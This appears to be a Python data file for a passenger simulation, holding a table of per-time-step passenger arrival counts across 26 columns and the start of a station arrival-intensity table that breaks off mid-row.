""" PASSENGERS """ numPassengers = 34483 passenger_arriving = ( (6, 8, 12, 6, 7, 5, 6, 1, 4, 0, 1, 2, 0, 14, 9, 4, 3, 9, 4, 3, 1, 7, 3, 5, 0, 0), # 0 (6, 15, 6, 15, 7, 6, 2, 5, 3, 0, 1, 3, 0, 8, 8, 5, 7, 6, 6, 7, 5, 4, 2, 2, 1, 0), # 1 (10, 7, 9, 8, 8, 6, 5, 8, 3, 4, 0, 2, 0, 7, 17, 3, 9, 10, 7, 2, 2, 3, 7, 0, 1, 0), # 2 (6, 8, 11, 9, 6, 3, 5, 5, 5, 5, 3, 5, 0, 11, 14, 11, 4, 13, 5, 3, 6, 2, 7, 2, 2, 0), # 3 (13, 14, 11, 12, 9, 6, 8, 5, 6, 2, 3, 0, 0, 10, 15, 11, 8, 7, 9, 3, 1, 1, 2, 3, 0, 0), # 4 (11, 12, 18, 18, 8, 7, 3, 3, 7, 6, 2, 4, 0, 14, 8, 7, 4, 12, 9, 8, 1, 5, 4, 3, 0, 0), # 5 (10, 13, 9, 15, 6, 5, 5, 11, 6, 3, 4, 2, 0, 13, 7, 9, 6, 9, 5, 7, 2, 4, 1, 2, 0, 0), # 6 (16, 14, 15, 10, 10, 6, 2, 6, 8, 2, 1, 0, 0, 23, 6, 18, 7, 17, 5, 9, 6, 9, 4, 2, 2, 0), # 7 (24, 11, 8, 14, 12, 8, 7, 3, 7, 3, 2, 0, 0, 12, 15, 11, 4, 14, 3, 4, 2, 5, 5, 3, 4, 0), # 8 (19, 20, 16, 9, 6, 5, 8, 3, 4, 3, 1, 2, 0, 11, 18, 7, 4, 12, 9, 1, 2, 7, 3, 1, 3, 0), # 9 (21, 21, 15, 19, 7, 9, 9, 7, 5, 1, 3, 3, 0, 14, 15, 9, 6, 15, 6, 10, 2, 4, 9, 3, 2, 0), # 10 (16, 14, 9, 17, 8, 6, 2, 5, 7, 3, 4, 2, 0, 13, 19, 7, 7, 11, 7, 5, 4, 2, 6, 6, 0, 0), # 11 (14, 18, 19, 20, 12, 6, 6, 2, 4, 1, 2, 1, 0, 15, 17, 15, 12, 6, 8, 9, 5, 6, 6, 2, 4, 0), # 12 (12, 14, 18, 13, 17, 6, 5, 3, 10, 1, 1, 1, 0, 19, 14, 12, 13, 12, 7, 4, 4, 6, 5, 1, 1, 0), # 13 (13, 16, 12, 10, 22, 3, 4, 10, 10, 3, 5, 1, 0, 13, 19, 7, 16, 12, 6, 3, 6, 3, 3, 3, 3, 0), # 14 (21, 13, 14, 22, 11, 5, 4, 5, 8, 3, 1, 1, 0, 11, 29, 11, 10, 19, 4, 7, 4, 8, 5, 4, 0, 0), # 15 (13, 17, 15, 12, 10, 7, 10, 3, 9, 4, 2, 1, 0, 24, 16, 9, 9, 13, 9, 7, 4, 9, 4, 4, 1, 0), # 16 (23, 13, 13, 13, 14, 8, 5, 9, 8, 5, 3, 2, 0, 17, 17, 10, 11, 9, 8, 7, 4, 5, 5, 2, 3, 0), # 17 (16, 12, 14, 13, 10, 5, 5, 7, 7, 1, 3, 4, 0, 22, 21, 10, 9, 9, 9, 6, 7, 8, 4, 1, 1, 0), # 18 (22, 13, 17, 12, 8, 9, 6, 5, 8, 2, 2, 3, 0, 17, 14, 10, 14, 17, 9, 6, 4, 9, 5, 4, 4, 0), # 19 (14, 16, 8, 18, 18, 6, 12, 10, 7, 1, 2, 1, 0, 17, 15, 19, 10, 23, 3, 8, 3, 8, 10, 1, 0, 0), # 20 (14, 12, 23, 14, 16, 3, 10, 6, 9, 1, 3, 1, 0, 20, 15, 12, 16, 12, 9, 7, 9, 9, 6, 2, 4, 0), # 21 (18, 21, 16, 17, 11, 5, 7, 9, 3, 4, 1, 2, 0, 15, 20, 12, 6, 12, 9, 15, 2, 7, 6, 3, 2, 0), # 22 (15, 15, 17, 16, 9, 8, 11, 7, 8, 7, 2, 3, 0, 15, 19, 13, 11, 17, 6, 11, 5, 5, 4, 2, 3, 0), # 23 (14, 16, 16, 20, 11, 6, 7, 4, 8, 2, 1, 2, 0, 19, 8, 12, 9, 7, 14, 11, 5, 7, 4, 3, 4, 0), # 24 (15, 20, 11, 28, 16, 3, 3, 5, 8, 2, 0, 2, 0, 20, 26, 15, 10, 12, 7, 9, 3, 6, 6, 3, 3, 0), # 25 (17, 24, 22, 22, 15, 3, 7, 4, 3, 5, 1, 3, 0, 21, 17, 13, 13, 11, 10, 4, 4, 4, 4, 4, 4, 0), # 26 (20, 25, 12, 11, 11, 7, 8, 1, 11, 5, 2, 2, 0, 15, 22, 10, 4, 16, 9, 9, 4, 10, 4, 2, 1, 0), # 27 (19, 17, 23, 22, 8, 4, 6, 12, 9, 2, 7, 4, 0, 13, 17, 13, 9, 22, 8, 10, 2, 6, 7, 5, 0, 0), # 28 (24, 21, 13, 13, 16, 5, 8, 9, 7, 5, 2, 0, 0, 26, 12, 16, 10, 13, 11, 6, 5, 9, 3, 2, 2, 0), # 29 (17, 20, 14, 13, 11, 2, 4, 11, 11, 7, 4, 3, 0, 13, 18, 17, 9, 18, 9, 7, 6, 6, 8, 5, 0, 0), # 30 (21, 18, 16, 29, 16, 2, 10, 7, 9, 1, 0, 0, 0, 21, 19, 14, 9, 12, 11, 7, 5, 4, 6, 4, 3, 0), # 31 (24, 17, 16, 13, 17, 10, 9, 7, 3, 1, 3, 5, 0, 21, 18, 9, 12, 17, 9, 4, 4, 7, 7, 3, 3, 0), # 32 (15, 14, 17, 15, 10, 4, 9, 10, 12, 3, 4, 4, 0, 13, 14, 10, 9, 16, 16, 9, 3, 6, 9, 3, 0, 0), # 33 (19, 20, 14, 23, 14, 9, 8, 7, 8, 4, 4, 0, 0, 17, 7, 12, 12, 20, 6, 8, 7, 10, 8, 2, 1, 0), # 34 (14, 12, 13, 19, 15, 7, 9, 7, 6, 6, 2, 2, 0, 18, 7, 12, 11, 8, 15, 9, 5, 7, 2, 3, 0, 0), # 35 (17, 19, 22, 20, 12, 3, 6, 4, 11, 3, 1, 2, 0, 9, 9, 8, 8, 13, 6, 2, 2, 11, 1, 3, 2, 0), # 36 (15, 23, 13, 20, 13, 4, 9, 6, 10, 2, 1, 2, 0, 19, 21, 14, 6, 11, 5, 6, 8, 2, 8, 2, 1, 0), # 37 (13, 21, 18, 16, 7, 4, 8, 7, 5, 4, 1, 0, 0, 19, 12, 15, 5, 16, 9, 5, 4, 5, 7, 2, 0, 0), # 38 (18, 20, 12, 12, 11, 7, 3, 6, 4, 2, 3, 0, 0, 19, 20, 9, 9, 16, 14, 4, 7, 10, 9, 3, 3, 0), # 39 (16, 16, 14, 23, 7, 5, 7, 10, 11, 2, 2, 3, 0, 25, 18, 14, 4, 26, 7, 6, 4, 6, 11, 4, 6, 0), # 40 (14, 15, 18, 24, 16, 4, 3, 5, 8, 4, 4, 2, 0, 21, 15, 9, 15, 10, 7, 4, 3, 3, 2, 1, 1, 0), # 41 (16, 15, 9, 19, 10, 4, 5, 6, 12, 4, 1, 3, 0, 17, 15, 17, 12, 12, 7, 7, 7, 7, 3, 2, 3, 0), # 42 (16, 24, 23, 18, 17, 7, 8, 7, 11, 3, 2, 3, 0, 15, 15, 7, 15, 10, 10, 5, 6, 4, 6, 3, 2, 0), # 43 (18, 19, 17, 17, 5, 4, 1, 4, 8, 4, 3, 2, 0, 19, 21, 8, 17, 17, 4, 5, 3, 4, 10, 3, 0, 0), # 44 (19, 17, 14, 17, 13, 13, 6, 7, 10, 4, 6, 0, 0, 19, 18, 16, 7, 17, 8, 4, 5, 8, 7, 2, 3, 0), # 45 (13, 16, 14, 18, 11, 7, 5, 6, 4, 4, 2, 0, 0, 13, 12, 16, 14, 17, 7, 7, 6, 4, 6, 2, 1, 0), # 46 (20, 16, 17, 16, 12, 10, 7, 7, 7, 3, 3, 0, 0, 17, 19, 13, 6, 14, 10, 11, 2, 9, 2, 1, 2, 0), # 47 (22, 17, 16, 16, 20, 3, 10, 7, 13, 3, 0, 1, 0, 15, 21, 18, 7, 10, 8, 9, 3, 2, 5, 3, 1, 0), # 48 (19, 12, 20, 11, 9, 8, 11, 11, 6, 4, 1, 4, 0, 13, 17, 15, 8, 13, 12, 9, 8, 8, 4, 4, 2, 0), # 49 (18, 17, 23, 13, 16, 10, 7, 2, 9, 1, 4, 0, 0, 19, 18, 19, 10, 9, 11, 7, 4, 7, 2, 4, 2, 0), # 50 (24, 10, 14, 14, 10, 4, 7, 7, 6, 6, 2, 2, 0, 17, 20, 13, 7, 19, 11, 5, 3, 7, 7, 6, 0, 0), # 51 (20, 20, 11, 14, 10, 3, 8, 9, 4, 3, 3, 1, 0, 17, 17, 14, 11, 7, 6, 6, 3, 4, 7, 3, 2, 0), # 52 (22, 23, 11, 15, 16, 4, 5, 6, 4, 4, 2, 0, 0, 22, 19, 9, 10, 19, 7, 4, 4, 10, 6, 5, 0, 0), # 53 (18, 19, 17, 24, 15, 7, 6, 5, 9, 3, 1, 3, 0, 23, 11, 11, 8, 10, 14, 4, 6, 4, 4, 4, 0, 0), # 54 (15, 21, 15, 16, 14, 3, 8, 8, 4, 4, 4, 0, 0, 28, 17, 14, 9, 8, 10, 5, 5, 7, 4, 3, 0, 0), # 55 (16, 17, 16, 13, 9, 5, 10, 4, 4, 6, 0, 3, 0, 19, 14, 11, 8, 9, 5, 6, 4, 8, 6, 6, 1, 0), # 56 (20, 20, 5, 20, 12, 9, 8, 7, 5, 4, 1, 3, 0, 15, 12, 14, 7, 17, 8, 7, 4, 6, 4, 2, 3, 0), # 57 (17, 15, 15, 24, 8, 10, 6, 2, 7, 6, 6, 1, 0, 21, 11, 13, 10, 19, 5, 9, 6, 6, 3, 3, 1, 0), # 58 (16, 21, 14, 6, 18, 6, 12, 4, 4, 4, 1, 0, 0, 10, 10, 10, 12, 16, 9, 6, 3, 12, 7, 5, 0, 0), # 59 (14, 20, 18, 16, 10, 9, 10, 4, 7, 4, 3, 2, 0, 20, 12, 10, 7, 15, 10, 6, 6, 7, 7, 2, 1, 0), # 60 (19, 11, 14, 15, 14, 3, 7, 6, 7, 7, 0, 3, 0, 12, 16, 15, 7, 13, 12, 2, 4, 6, 6, 0, 0, 0), # 61 (36, 16, 17, 13, 17, 4, 9, 5, 11, 4, 0, 0, 0, 11, 15, 14, 14, 19, 13, 13, 3, 9, 3, 3, 2, 0), # 62 (17, 18, 11, 23, 18, 5, 6, 4, 8, 5, 0, 2, 0, 30, 9, 15, 9, 5, 7, 10, 1, 5, 3, 3, 4, 0), # 63 (18, 15, 22, 12, 16, 6, 6, 9, 5, 1, 3, 2, 0, 13, 19, 13, 13, 9, 9, 7, 1, 6, 8, 2, 0, 0), # 64 (14, 8, 20, 13, 17, 2, 7, 10, 5, 5, 1, 1, 0, 20, 20, 18, 14, 11, 9, 8, 5, 6, 8, 0, 1, 0), # 65 (23, 19, 16, 20, 17, 6, 3, 10, 11, 4, 5, 1, 0, 18, 12, 7, 5, 19, 7, 10, 5, 8, 5, 4, 0, 0), # 66 (14, 15, 20, 15, 15, 4, 4, 6, 3, 3, 5, 0, 0, 16, 22, 9, 7, 11, 7, 7, 4, 9, 4, 3, 1, 0), # 67 (14, 12, 17, 15, 14, 4, 8, 3, 8, 4, 1, 0, 0, 17, 19, 16, 8, 15, 8, 5, 4, 12, 8, 2, 1, 0), # 68 (12, 25, 17, 18, 15, 9, 10, 11, 13, 1, 4, 2, 0, 19, 12, 13, 16, 10, 9, 8, 4, 7, 4, 2, 1, 0), # 69 (14, 13, 15, 22, 10, 7, 3, 3, 5, 4, 3, 0, 0, 24, 25, 16, 10, 16, 5, 6, 3, 5, 9, 0, 1, 0), # 70 (16, 16, 20, 19, 17, 7, 6, 6, 6, 2, 2, 2, 0, 8, 15, 7, 9, 15, 5, 6, 4, 7, 5, 3, 2, 0), # 71 (19, 10, 18, 20, 19, 1, 8, 4, 7, 2, 0, 0, 0, 22, 15, 19, 14, 9, 7, 2, 3, 8, 4, 4, 0, 0), # 72 (25, 15, 12, 16, 11, 5, 10, 6, 11, 0, 3, 2, 0, 22, 11, 10, 6, 13, 5, 14, 7, 10, 9, 2, 1, 0), # 73 (21, 14, 12, 15, 13, 8, 8, 7, 9, 4, 0, 0, 0, 22, 17, 11, 9, 18, 7, 10, 3, 6, 6, 5, 0, 0), # 74 (23, 26, 13, 20, 11, 14, 6, 4, 7, 5, 1, 2, 0, 18, 8, 10, 11, 14, 7, 8, 4, 7, 7, 1, 2, 0), # 75 (16, 15, 19, 21, 17, 10, 7, 11, 2, 1, 2, 1, 0, 12, 13, 17, 16, 12, 3, 5, 5, 11, 2, 4, 1, 0), # 76 (13, 21, 19, 16, 12, 6, 4, 4, 9, 3, 4, 0, 0, 18, 15, 19, 12, 12, 5, 8, 3, 7, 3, 3, 1, 0), # 77 (23, 12, 13, 20, 16, 9, 7, 4, 9, 2, 3, 2, 0, 14, 22, 16, 11, 11, 3, 7, 4, 6, 1, 2, 0, 0), # 78 (19, 14, 12, 17, 22, 9, 8, 6, 7, 4, 2, 4, 0, 26, 18, 14, 7, 13, 10, 3, 8, 9, 8, 1, 1, 0), # 79 (22, 11, 20, 13, 16, 6, 4, 3, 5, 6, 1, 1, 0, 29, 13, 10, 10, 14, 4, 4, 4, 5, 4, 2, 0, 0), # 80 (17, 17, 10, 18, 11, 6, 10, 5, 2, 2, 1, 0, 0, 17, 15, 17, 9, 20, 8, 3, 5, 9, 5, 8, 1, 0), # 81 (14, 11, 12, 21, 11, 6, 11, 5, 6, 2, 2, 6, 0, 16, 16, 9, 17, 16, 6, 11, 3, 5, 2, 3, 1, 0), # 82 (14, 12, 15, 22, 14, 3, 6, 4, 3, 3, 2, 2, 0, 22, 12, 14, 9, 14, 6, 4, 4, 6, 5, 3, 1, 0), # 83 (18, 14, 17, 17, 10, 7, 5, 9, 9, 1, 0, 4, 0, 21, 14, 12, 8, 17, 8, 9, 5, 4, 7, 2, 3, 0), # 84 (14, 11, 12, 21, 19, 4, 1, 7, 5, 1, 4, 0, 0, 18, 13, 11, 3, 18, 8, 10, 7, 11, 5, 2, 1, 0), # 85 (16, 10, 17, 15, 13, 1, 4, 2, 12, 4, 2, 4, 0, 13, 10, 13, 8, 24, 8, 5, 4, 7, 2, 6, 1, 0), # 86 (17, 18, 15, 8, 13, 8, 17, 3, 6, 2, 0, 2, 0, 23, 14, 11, 9, 8, 11, 9, 8, 9, 3, 4, 1, 0), # 87 (18, 14, 13, 15, 11, 9, 6, 4, 8, 4, 4, 2, 0, 18, 12, 6, 12, 18, 9, 5, 4, 9, 5, 4, 1, 0), # 88 (20, 18, 13, 14, 13, 6, 7, 2, 2, 2, 2, 0, 0, 14, 10, 7, 9, 14, 3, 4, 6, 6, 3, 4, 0, 0), # 89 (21, 16, 16, 15, 6, 6, 5, 4, 8, 5, 2, 2, 0, 24, 14, 7, 10, 13, 3, 8, 4, 6, 9, 3, 2, 0), # 90 (26, 14, 9, 14, 6, 4, 10, 8, 4, 2, 0, 0, 0, 14, 15, 11, 6, 16, 6, 3, 3, 7, 5, 0, 1, 0), # 91 (13, 15, 12, 20, 13, 5, 3, 7, 4, 5, 1, 0, 0, 18, 17, 12, 7, 8, 13, 5, 5, 5, 5, 0, 2, 0), # 92 (25, 10, 14, 15, 17, 6, 2, 6, 9, 1, 5, 2, 0, 14, 11, 9, 8, 21, 5, 9, 5, 9, 6, 3, 3, 0), # 93 (19, 15, 15, 19, 14, 4, 8, 6, 5, 3, 1, 1, 0, 19, 17, 13, 8, 15, 7, 7, 9, 3, 3, 1, 0, 0), # 94 (17, 11, 8, 21, 15, 4, 9, 2, 10, 1, 1, 2, 0, 12, 16, 5, 7, 14, 7, 7, 4, 6, 5, 1, 2, 0), # 95 (20, 9, 9, 13, 11, 7, 6, 5, 5, 1, 4, 1, 0, 21, 13, 15, 5, 13, 7, 4, 8, 3, 5, 3, 1, 0), # 96 (20, 16, 15, 13, 17, 6, 6, 7, 6, 6, 4, 1, 0, 23, 11, 11, 10, 16, 7, 3, 5, 8, 6, 3, 2, 0), # 97 (10, 14, 6, 13, 13, 9, 9, 3, 8, 3, 3, 2, 0, 22, 9, 9, 11, 10, 12, 2, 5, 7, 2, 3, 0, 0), # 98 (18, 15, 14, 15, 9, 3, 7, 7, 8, 4, 5, 2, 0, 18, 13, 11, 13, 10, 8, 6, 3, 5, 3, 4, 2, 0), # 99 (24, 14, 14, 24, 7, 7, 6, 3, 6, 2, 4, 2, 0, 21, 14, 20, 10, 17, 4, 2, 5, 12, 5, 2, 1, 0), # 100 (22, 11, 17, 10, 12, 4, 4, 3, 8, 4, 2, 0, 0, 14, 13, 12, 9, 15, 10, 6, 3, 7, 9, 2, 0, 0), # 101 (17, 18, 10, 14, 15, 5, 6, 4, 9, 0, 2, 1, 0, 16, 13, 8, 5, 11, 11, 3, 5, 7, 2, 4, 2, 0), # 102 (19, 11, 19, 12, 12, 7, 7, 5, 6, 3, 3, 1, 0, 16, 11, 17, 7, 11, 10, 6, 4, 7, 6, 3, 1, 0), # 103 (12, 17, 13, 23, 13, 6, 6, 4, 6, 10, 1, 1, 0, 21, 14, 16, 9, 17, 8, 7, 8, 5, 4, 1, 1, 0), # 104 (18, 12, 18, 20, 16, 7, 4, 7, 10, 2, 1, 0, 0, 23, 13, 12, 12, 14, 7, 5, 6, 8, 3, 2, 1, 0), # 105 (12, 12, 14, 16, 18, 6, 5, 5, 6, 4, 2, 1, 0, 25, 19, 12, 5, 11, 6, 4, 3, 12, 5, 3, 3, 0), # 106 (15, 8, 20, 13, 12, 11, 10, 1, 6, 1, 2, 0, 0, 11, 18, 15, 12, 12, 8, 5, 4, 7, 3, 3, 0, 0), # 107 (17, 18, 16, 13, 6, 7, 10, 4, 9, 2, 6, 1, 0, 11, 16, 10, 5, 15, 6, 8, 7, 5, 6, 2, 1, 0), # 108 (18, 14, 12, 14, 9, 3, 4, 5, 5, 3, 4, 3, 0, 17, 13, 8, 9, 15, 4, 4, 7, 6, 4, 2, 1, 0), # 109 (11, 12, 12, 18, 18, 8, 7, 0, 5, 4, 0, 2, 0, 16, 13, 14, 8, 15, 5, 5, 4, 7, 3, 0, 0, 0), # 110 (20, 9, 20, 15, 15, 6, 8, 6, 7, 1, 4, 2, 0, 20, 14, 7, 3, 12, 6, 4, 2, 2, 3, 1, 0, 0), # 111 (18, 7, 18, 13, 18, 7, 8, 1, 6, 2, 0, 2, 0, 19, 13, 10, 4, 13, 7, 4, 6, 4, 5, 6, 1, 0), # 112 (20, 16, 17, 19, 12, 7, 5, 6, 11, 1, 3, 0, 0, 18, 10, 8, 3, 14, 4, 5, 4, 2, 6, 5, 0, 0), # 113 (23, 11, 15, 17, 6, 8, 3, 6, 6, 1, 0, 1, 0, 24, 8, 9, 6, 14, 4, 7, 6, 3, 5, 1, 0, 0), # 114 (16, 16, 16, 18, 11, 4, 4, 3, 6, 5, 2, 0, 0, 14, 11, 7, 3, 18, 5, 4, 4, 12, 3, 5, 0, 0), # 115 (14, 15, 10, 18, 10, 3, 6, 3, 6, 2, 3, 1, 0, 19, 15, 9, 11, 9, 6, 4, 4, 6, 7, 2, 0, 0), # 116 (18, 14, 15, 19, 9, 3, 4, 3, 7, 3, 2, 1, 0, 24, 15, 8, 3, 22, 6, 2, 6, 8, 3, 3, 1, 0), # 117 (8, 11, 8, 9, 16, 7, 6, 7, 4, 1, 3, 1, 0, 18, 8, 8, 7, 13, 3, 5, 3, 4, 4, 2, 1, 0), # 118 (14, 8, 10, 11, 10, 7, 9, 6, 7, 5, 2, 0, 0, 22, 12, 10, 8, 11, 6, 2, 3, 10, 5, 6, 1, 0), # 119 (13, 9, 14, 15, 11, 12, 10, 4, 7, 4, 3, 1, 0, 16, 16, 12, 7, 17, 9, 4, 2, 4, 4, 2, 1, 0), # 120 (14, 17, 8, 19, 13, 1, 3, 2, 6, 2, 4, 0, 0, 17, 17, 12, 4, 14, 6, 6, 1, 9, 3, 0, 3, 0), # 121 (19, 14, 16, 16, 11, 8, 6, 4, 5, 1, 0, 0, 0, 19, 14, 13, 5, 13, 5, 2, 4, 2, 4, 7, 1, 0), # 122 (11, 13, 21, 17, 14, 3, 4, 5, 7, 2, 0, 3, 0, 12, 17, 16, 9, 15, 10, 7, 2, 10, 6, 2, 0, 0), # 123 (15, 16, 8, 19, 7, 4, 0, 8, 6, 2, 2, 3, 0, 20, 11, 9, 6, 14, 4, 4, 5, 3, 6, 3, 1, 0), # 124 (17, 12, 15, 21, 9, 11, 5, 4, 5, 2, 3, 1, 0, 24, 14, 10, 9, 14, 3, 6, 5, 9, 5, 2, 1, 0), # 125 (20, 9, 19, 13, 18, 3, 3, 6, 5, 1, 0, 3, 0, 11, 11, 9, 3, 8, 8, 5, 3, 7, 6, 3, 0, 0), # 126 (21, 12, 7, 18, 8, 7, 3, 4, 6, 0, 2, 1, 0, 10, 8, 12, 9, 6, 7, 4, 5, 11, 6, 3, 1, 0), # 127 (18, 21, 11, 13, 15, 0, 9, 5, 8, 3, 0, 4, 0, 21, 13, 5, 7, 10, 4, 7, 2, 2, 4, 4, 0, 0), # 128 (20, 12, 11, 17, 9, 3, 8, 5, 4, 4, 2, 0, 0, 18, 12, 6, 8, 20, 7, 5, 5, 8, 5, 2, 3, 0), # 129 (11, 7, 11, 16, 18, 8, 8, 5, 4, 4, 1, 2, 0, 16, 9, 7, 8, 13, 5, 3, 5, 12, 3, 6, 1, 0), # 130 (13, 11, 6, 8, 10, 2, 6, 4, 8, 2, 0, 3, 0, 14, 6, 14, 11, 9, 7, 7, 5, 5, 2, 7, 1, 0), # 131 (10, 13, 9, 11, 12, 7, 9, 5, 9, 4, 1, 1, 0, 25, 13, 11, 11, 13, 3, 4, 3, 7, 3, 1, 0, 0), # 132 (10, 13, 9, 13, 8, 2, 3, 3, 4, 4, 4, 3, 0, 27, 13, 11, 11, 14, 6, 5, 3, 11, 2, 2, 0, 0), # 133 (22, 8, 17, 14, 13, 3, 9, 5, 9, 7, 4, 2, 0, 27, 13, 11, 9, 16, 5, 8, 1, 6, 1, 5, 2, 0), # 134 (16, 10, 11, 11, 15, 4, 4, 4, 4, 4, 1, 0, 0, 14, 15, 11, 4, 16, 11, 3, 5, 8, 4, 5, 4, 0), # 135 (22, 16, 14, 10, 13, 7, 3, 2, 4, 0, 1, 1, 0, 12, 15, 9, 9, 12, 9, 5, 3, 12, 5, 0, 0, 0), # 136 (17, 13, 10, 15, 14, 5, 3, 5, 9, 0, 2, 1, 0, 12, 16, 7, 9, 13, 3, 4, 4, 6, 3, 0, 0, 0), # 137 (21, 17, 13, 18, 14, 5, 6, 6, 6, 2, 3, 1, 0, 13, 14, 10, 8, 9, 3, 4, 2, 3, 7, 4, 1, 0), # 138 (13, 9, 17, 15, 15, 2, 7, 2, 6, 3, 1, 0, 0, 13, 11, 9, 8, 7, 5, 4, 2, 8, 3, 5, 2, 0), # 139 (18, 6, 11, 14, 7, 5, 8, 3, 7, 3, 4, 1, 0, 13, 13, 9, 8, 9, 9, 2, 3, 1, 4, 2, 1, 0), # 140 (16, 9, 9, 17, 8, 4, 7, 6, 5, 4, 2, 0, 0, 11, 12, 5, 8, 11, 6, 3, 5, 7, 2, 3, 0, 0), # 141 (16, 11, 5, 14, 15, 6, 5, 5, 7, 3, 3, 2, 0, 15, 20, 8, 5, 10, 7, 7, 1, 5, 9, 4, 0, 0), # 142 (16, 12, 20, 17, 11, 8, 8, 5, 7, 6, 2, 0, 0, 23, 13, 12, 5, 11, 8, 4, 4, 7, 6, 4, 0, 0), # 143 (18, 11, 15, 11, 12, 4, 5, 3, 11, 5, 3, 1, 0, 18, 9, 9, 8, 8, 8, 3, 5, 3, 4, 3, 0, 0), # 144 (17, 12, 16, 11, 9, 6, 6, 5, 5, 3, 1, 2, 0, 18, 14, 12, 6, 14, 8, 7, 5, 10, 6, 9, 0, 0), # 145 (21, 8, 13, 12, 16, 7, 4, 1, 7, 1, 0, 1, 0, 19, 9, 8, 7, 15, 13, 7, 4, 2, 3, 1, 2, 0), # 146 (15, 8, 15, 10, 15, 2, 5, 3, 9, 5, 2, 2, 0, 11, 10, 9, 5, 7, 10, 4, 2, 6, 3, 1, 1, 0), # 147 (17, 11, 9, 12, 14, 6, 4, 3, 10, 1, 0, 0, 0, 16, 6, 8, 9, 10, 7, 5, 2, 3, 2, 2, 0, 0), # 148 (18, 7, 16, 13, 10, 9, 2, 5, 9, 3, 0, 1, 0, 9, 18, 11, 7, 13, 5, 5, 2, 12, 7, 3, 2, 0), # 149 (13, 14, 10, 10, 9, 8, 1, 3, 3, 1, 1, 1, 0, 14, 12, 7, 8, 12, 7, 2, 5, 5, 6, 4, 1, 0), # 150 (17, 7, 19, 16, 10, 6, 4, 3, 3, 3, 2, 1, 0, 14, 7, 7, 9, 8, 4, 1, 2, 9, 4, 2, 0, 0), # 151 (12, 11, 14, 10, 12, 5, 7, 4, 9, 3, 2, 1, 0, 15, 6, 8, 7, 11, 5, 4, 4, 4, 2, 4, 0, 0), # 152 (17, 8, 17, 20, 15, 2, 4, 2, 6, 2, 1, 0, 0, 19, 10, 6, 9, 15, 3, 3, 6, 9, 6, 3, 1, 0), # 153 (19, 16, 14, 17, 12, 7, 6, 5, 4, 1, 2, 0, 0, 12, 18, 11, 7, 16, 5, 0, 4, 4, 3, 5, 1, 0), # 154 (6, 17, 18, 9, 5, 8, 2, 2, 4, 2, 0, 2, 0, 18, 8, 5, 3, 15, 4, 4, 6, 7, 2, 4, 0, 0), # 155 (10, 10, 12, 11, 6, 5, 2, 5, 6, 0, 3, 1, 0, 13, 15, 7, 6, 15, 7, 3, 6, 8, 4, 2, 2, 0), # 156 (15, 8, 7, 10, 16, 8, 2, 5, 5, 2, 1, 0, 0, 19, 11, 8, 4, 11, 8, 2, 2, 3, 3, 4, 0, 0), # 157 (9, 7, 7, 11, 11, 7, 6, 1, 5, 1, 0, 1, 0, 17, 14, 7, 4, 8, 3, 2, 5, 9, 4, 1, 0, 0), # 158 (10, 8, 12, 12, 11, 8, 6, 5, 7, 1, 0, 1, 0, 12, 10, 4, 6, 11, 4, 1, 0, 2, 0, 2, 1, 0), # 159 (14, 6, 10, 8, 4, 4, 3, 6, 3, 0, 1, 0, 0, 22, 10, 3, 6, 9, 3, 3, 5, 8, 5, 1, 0, 0), # 160 (5, 13, 11, 11, 8, 3, 8, 2, 7, 3, 1, 1, 0, 15, 11, 7, 11, 10, 5, 7, 2, 7, 6, 1, 2, 0), # 161 (12, 9, 15, 7, 15, 9, 4, 6, 5, 1, 1, 1, 0, 21, 7, 9, 6, 12, 4, 10, 3, 11, 2, 4, 1, 0), # 162 (15, 7, 12, 12, 7, 8, 7, 2, 3, 0, 2, 3, 0, 10, 9, 11, 4, 7, 4, 5, 5, 1, 4, 3, 2, 0), # 163 (12, 3, 16, 9, 11, 4, 2, 3, 5, 0, 0, 3, 0, 11, 7, 7, 8, 6, 3, 2, 3, 4, 2, 5, 0, 0), # 164 (11, 12, 7, 12, 14, 4, 5, 3, 7, 3, 1, 1, 0, 7, 11, 8, 3, 10, 6, 2, 2, 8, 5, 1, 3, 0), # 165 (13, 10, 12, 12, 14, 4, 4, 4, 9, 0, 2, 1, 0, 14, 17, 15, 3, 4, 3, 9, 3, 6, 4, 2, 1, 0), # 166 (22, 6, 5, 6, 12, 4, 2, 5, 8, 1, 0, 0, 0, 3, 8, 7, 3, 10, 4, 2, 4, 5, 2, 1, 0, 0), # 167 (11, 9, 13, 10, 10, 5, 5, 3, 6, 3, 1, 0, 0, 11, 16, 9, 4, 7, 9, 3, 1, 7, 4, 3, 2, 0), # 168 (1, 11, 15, 13, 12, 4, 5, 4, 6, 0, 0, 0, 0, 14, 6, 5, 6, 15, 3, 4, 9, 8, 4, 1, 0, 0), # 169 (12, 7, 9, 9, 10, 10, 3, 1, 6, 3, 0, 1, 0, 5, 8, 2, 5, 6, 6, 3, 3, 3, 3, 4, 0, 0), # 170 (9, 9, 9, 7, 17, 2, 4, 5, 4, 0, 0, 0, 0, 14, 6, 3, 5, 9, 6, 4, 1, 3, 1, 3, 3, 0), # 171 (9, 8, 10, 12, 5, 2, 4, 4, 5, 1, 2, 0, 0, 9, 7, 1, 4, 12, 7, 2, 2, 2, 4, 2, 0, 0), # 172 (13, 7, 9, 16, 6, 5, 0, 1, 3, 1, 0, 0, 0, 10, 7, 3, 7, 8, 6, 2, 2, 1, 3, 2, 0, 0), # 173 (6, 2, 14, 5, 9, 2, 1, 2, 3, 1, 1, 3, 0, 16, 9, 5, 8, 6, 7, 1, 1, 1, 5, 0, 1, 0), # 174 (7, 6, 10, 7, 6, 2, 5, 3, 3, 1, 0, 1, 0, 7, 8, 5, 3, 5, 3, 2, 1, 5, 1, 0, 0, 0), # 175 (6, 4, 7, 4, 6, 4, 2, 2, 1, 2, 0, 1, 0, 4, 9, 5, 4, 12, 2, 7, 3, 4, 2, 2, 0, 0), # 176 (6, 5, 6, 7, 1, 0, 3, 4, 3, 1, 1, 1, 0, 9, 5, 4, 7, 3, 2, 2, 1, 2, 1, 2, 3, 0), # 177 (6, 7, 6, 4, 4, 3, 1, 4, 4, 4, 0, 1, 0, 10, 4, 3, 5, 7, 2, 2, 1, 4, 5, 0, 1, 0), # 178 (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 179 ) station_arriving_intensity = ( (9.037558041069182, 9.9455194074477, 9.380309813302512, 11.18640199295418, 9.998434093697302, 5.64957887766721, 7.462864107673047, 8.375717111362961, 10.962178311902413, 7.124427027940266, 7.569477294994085, 8.816247140951113, 9.150984382641052), # 0 (9.637788873635953, 10.602109249460566, 9.999623864394273, 11.925259655897909, 10.660482607453627, 6.0227704512766005, 7.955044094274649, 8.927124701230275, 